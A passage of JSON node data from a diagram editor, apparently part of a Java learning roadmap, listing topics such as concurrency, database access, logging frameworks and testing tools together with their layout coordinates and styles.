\"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1354.1499336025647,\n        \"y\": 1273.5598732714204\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 25,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"shqS9-hg__mkOtnnl_I4l\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1162.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Concurrency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1162.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u_YysD7Bpnq-xkFX5yJGz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1073.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U4Wx3MH3LgJLa0n9Ne0Br\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1073.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vJSq1GJLIMQ6IIB8CMK8g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1020.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Virtual Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U4Wx3MH3LgJLa0n9Ne0Br\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.8343015809069,\n        \"y\": 1020.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wEc7pSVU5G2c6Zqmtb_1k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 973.8343015809069,\n        \"y\": 967.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Java Memory Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U4Wx3MH3LgJLa0n9Ne0Br\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.8343015809069,\n        \"y\": 967.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U4Wx3MH3LgJLa0n9Ne0Br\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 973.8343015809069,\n        \"y\": 915.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"volatile keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.8343015809069,\n        \"y\": 915.3203519457165\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_wV2VQq6MIY1rVHjK8pfu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 702.0073106597292,\n        \"y\": 914.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cryptography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 702.0073106597292,\n        \"y\": 914.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9h20XVRli7TDq0QIJwX2U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 701.1618709488599,\n        \"y\": 966.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Date and Time\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 701.1618709488599,\n        \"y\": 966.5225017715202\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UGccAJeFA636IiCySl-zF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1507.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functional Programming\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 227\n      },\n      \"positionAbsolute\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1507.8599244017678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"1Mk_zXxCCcUoX-gFxtlnf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1394.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functional Composition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WHxAwfdKHQSOg0TLX05EG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1394.8599244017678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dz6bCmB4dgA7VVZ448cN6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1288.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"High Order Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SityDdjhhNZ9CO3Tg0VI9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1288.8599244017678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SityDdjhhNZ9CO3Tg0VI9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1341.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functional Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1341.8599244017678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WHxAwfdKHQSOg0TLX05EG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1447.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stream API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SityDdjhhNZ9CO3Tg0VI9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 711.0073106597292,\n        \"y\": 1447.8599244017678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JeMG0gU8IVRBZgczjXmPi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 700.0073106597292,\n        \"y\": 1018.7246515973238\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kdxy8Zssnc5lJjdmjUyMc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 700.0073106597292,\n        \"y\": 1018.7246515973238\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C7rB3jkshHFN7TkHRJPlz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 700.0073106597292,\n        \"y\": 1073.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Regular Expressions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 700.0073106597292,\n        \"y\": 1073.5225017715202\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fV-gW51jhna2__Ln2HIIh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1529.0338845627668,\n        \"y\": 1500.3599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Database Access\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LgpsnXV0CTvTspjnsd0Rd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1529.0338845627668,\n        \"y\": 1500.3599244017678\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WzWOxBUKKg6LeuBmVesc2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1417.8469443073327\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Spring Data JPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9UbRG752qxJdUwmqEAjN3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1417.8469443073327\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UEiDzzodyEu5O1xFAFDly\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1364.8469443073327\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hibernate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9UbRG752qxJdUwmqEAjN3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1364.8469443073327\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X2rJ3BY1ytFKsbJqJETFu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1311.8469443073327\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"EBean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9UbRG752qxJdUwmqEAjN3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1311.8469443073327\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d9F5Wt8onY125DLuzNULg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1529.0338845627668,\n        \"y\": 1622.3196545591995\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Logging Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LgpsnXV0CTvTspjnsd0Rd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1529.0338845627668,\n        \"y\": 1622.3196545591995\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"okC1uMdyfIJAhX_R9Npsw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1532.5469679422956,\n        \"y\": 1716.8068987197155\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Logback\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1532.5469679422956,\n        \"y\": 1716.8068987197155\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sFaNj_1MviaTc6UIfjXl6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1648.2217949048954,\n        \"y\": 1716.8068987197155\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Log4j2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1648.2217949048954,\n        \"y\": 1716.8068987197155\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LGlZHKqyQ-aWtHnhklhgn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1532.5469679422956,\n        \"y\": 1769.8068987197155\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SLF4J\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1532.5469679422956,\n        \"y\": 1769.8068987197155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fn7aAaGbwYsAp4xLuuFud\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1648.2217949048954,\n        \"y\": 1769.8068987197155\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TinyLog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1648.2217949048954,\n        \"y\": 1769.8068987197155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LgpsnXV0CTvTspjnsd0Rd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1300.7385519848222,\n        \"y\": 1621.8196545591995\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"81N1cZLue_Ii0uD5CV6kZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 1300.7385519848222,\n        \"y\": 1621.8196545591995\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"9UbRG752qxJdUwmqEAjN3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1258.8469443073327\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JDBC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1554.5338845627668,\n        \"y\": 1258.8469443073327\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ahcnPvftbi83gtiqV6VTP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 712.482369832682,\n        \"y\": 1739.4390443834811\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 32,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 31.718994140625\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.482369832682,\n        \"y\": 1739.4390443834811\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 32\n      }\n    },\n    {\n      \"id\": \"hY1-sEpTmpaj1PregdkFf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.482369832682,\n        \"y\": 1626.4390443834811\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.482369832682,\n        \"y\": 1626.4390443834811\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XU2C8bF9ICej8LS7ZGTTv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.482369832682,\n        \"y\": 1679.4390443834811\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TestNG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.482369832682,\n        \"y\": 1679.4390443834811\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lI6ST4WcGtPdKSoWIxStg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1740.5740097760008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1740.5740097760008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"gB4XUR9nCdF1-dOEwGcHi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1627.5740097760008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"REST Assured\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1627.5740097760008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U2BqOY49HaII6mKQB3SVt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1680.5740097760008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JMeter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 854.3929054677501,\n        \"y\": 1680.5740097760008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BFX3fjnFTHVnNnqMudZoK\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1046.8252013753893,\n        \"y\": 1693.015947794886\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Behavior Testing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1046.8252013753893,\n        \"y\": 1693.015947794886\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"UFDy19TNkykRsKv4vRsVJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1030.3252013753893,\n        \"y\": 1633.015947794886\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cucumber-JVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mLM1HJf6_pxrUDOmb45ew\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1030.3252013753893,\n        \"y\": 1633.015947794886\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mLM1HJf6_pxrUDOmb45ew\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.3252013753893,\n        \"y\": 1738.4390443834811\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mocking > Mockito\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1022.3252013753893,\n        \"y\": 1738.4390443834811\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 412,\n      \"height\": 121,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1155.2385519848222,\n        \"y\": 1895.2880407433463\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit Backend path and see what you missed\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 1155.2385519848222,\n        \"y\": 1895.2880407433463\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 412,\n        \"height\": 121\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 412,\n        \"height\": 121\n      }\n    },\n    {\n      \"width\": 21,\n      